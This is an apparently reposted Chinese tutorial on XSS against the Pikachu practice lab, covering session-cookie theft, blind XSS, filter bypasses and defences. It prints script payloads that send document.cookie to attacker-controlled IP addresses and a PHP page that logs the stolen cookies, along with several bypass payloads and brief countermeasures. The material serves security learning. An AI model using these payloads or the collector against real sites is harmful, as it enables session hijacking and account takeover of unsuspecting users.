XSSCookie獲取、盲打、繞過、防范


Cookie
Cookie是依據HTTP協議,服務器或腳本可以維護客戶工作站上信息的一種方式。Cookie是由Web服務器保存在用戶瀏覽器(客戶端上的)一個小文本,它可以包含有關用戶的信息。
臨時Cookie:只在瀏覽器上保存一段規定的時間,一旦超過規定的時間,該Cookie就會被系統清除。
服務器可以利用Cookies包含信息的任意性來篩選並經常維護這些信息,以判斷在HTTP傳輸中的狀態。
Cookies最典型的應用是判定注冊用戶是否已經登陸過網站,保留用戶信息可以簡化下一次登陸網站。此外購物車,用戶可能在一段時間內同一家網站的不同頁面選擇不同的商品,這些信息都會被寫入Cookies,以便在最后付款時提取信息。
Cookie的竊取和利用
當站點存在XSS漏洞時,就可以利用XSS來獲取Cookie
<script>document.location='http://192.168.223.132/pikachu/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script> 
解讀:使用黑客網站下文件地址為cookie.php,目的是通過此文件獲取Cookie並輸入到黑客的數據庫中的,並且重定向到一個可信的網站,注意前端對長度的限制
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
 
//這個是獲取cookie的api頁面
 
if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent)
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://192.168.223.132/pikachu/index.php");   //重定向到一個可信的網站
?>
或者使用nc進行竊取,在服務器上打開8080端口監聽,重定向到黑客的服務器,同時帶上它的cookie
<script>document.location='http://192.168.37.134:8080/a?cookie=' +document.cookie;</script>//重定向到一個可信的網站
XSS注入原理再探究
對一個可注入XSS的網站進行注入后,如果是反射型中的GET型,那可以將該網站包含惡意代碼通過短鏈接偽裝發送給目標,目標點擊后會獲取該含有XSS漏洞的網頁的Cookie,如果該用戶沒有注冊或者Cookie過期,則會獲取一個無效的Cookie
如果是DOM型和反射型差不多,但是存儲型是存儲在數據庫中,由於是js代碼,在前端不會顯示,但是會執行,管理員或者用戶只要點擊這個含有該代碼的網頁,一旦解析就會執行
XSS的盲打
不管三七二十一,往里面插入插入XSS代碼,然后等待驚喜。由於是后端,安全考慮不嚴格的時候管理員就會被獲取Cookie
XSS繞過
1.前端限制繞過(如限制長度,過濾字符等),直接抓包重放,或者修改前端HTML代碼
2.大小寫繞過:<SCript>Alert('1')</scRIPT>
3.雙寫繞過:<scri<script>pt>alert('1')</scri</script>pt>
4.使用注釋符干擾:<scri<!--test-這行代碼是備注->pt>alert('1')</scr<!--test-->ript>
但是要注意使用編碼的時候要注意編碼在輸出點能被正常的識別和翻譯。一般來說HTML實體編碼比較好
Htmlspecialchars繞過:
htmlspecialchars()函數的語法與用法
htmlspecialchars(string,flags,character-set,double_encode)
參數:
string:必需,規定要轉換的字符串
flags :可選,規定如何處理引號、無效的編碼以及使用哪種文檔類型
character-set :可選,一個規定了要使用的字符集的字符串,如:UTF-8(默認)
double_encode :可選,布爾值,規定了是否編碼已存在的 HTML 實體
flags參數可用的引號類型
ENT_COMPAT :默認僅編碼雙引號。
ENT_QUOTES:編碼雙引號和單引號。
ENT_NOQUOTES:不編碼任何引號。
htmlspecialchars()對預定義的函數轉換為HTML實體,如<script></script>是js代碼,應該是執行但不顯現在前端,但是使用htmlspecialchars()函數后會轉換成字符輸出到前端,而不會作為js代碼去執行,是開發上防xss注入的手段
htmlspecialchars()默認不會對單引號進行處理的,但當輸出點比較特殊的時候,仍然存在XSS危險
' onclick='alert(1)'   //注意通過前端代碼進行分析
單個單引號不會在語法上起作用,只是變成一個字符,所以不用擔心
href輸出與過濾
由於通過href進行輸出,所以直接可以用JavaScript協議進行輸出
javascript:alert('1')
防御: 只允許http和https開頭的協議
js輸出與過濾
輸出點是在javaScript,通過用戶的輸入動態的生成JavaScript代碼,通過對前面原有的JavaScript代碼形成閉合,再自己對后面的JavaScript代碼構造即可
如我們輸入hello,網頁沒有顯示我們的hello,查看源代碼后發現在JavaScript代碼里進行了輸出,這時對前面的script標簽進行閉合,並自己構造一個script標簽進行注入
'</script><script>alert('xxs')</script>
注意:這里我們會發現我們與前面的<script>標簽形成閉合后,構造自閉和,但是原有的</script>標簽並沒有閉合,但也沒有影響,原因在於<script>標簽如果沒有形成閉合則不起作用
防御:JS的輸出點用\對特殊字符進行過濾
 
 
 
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM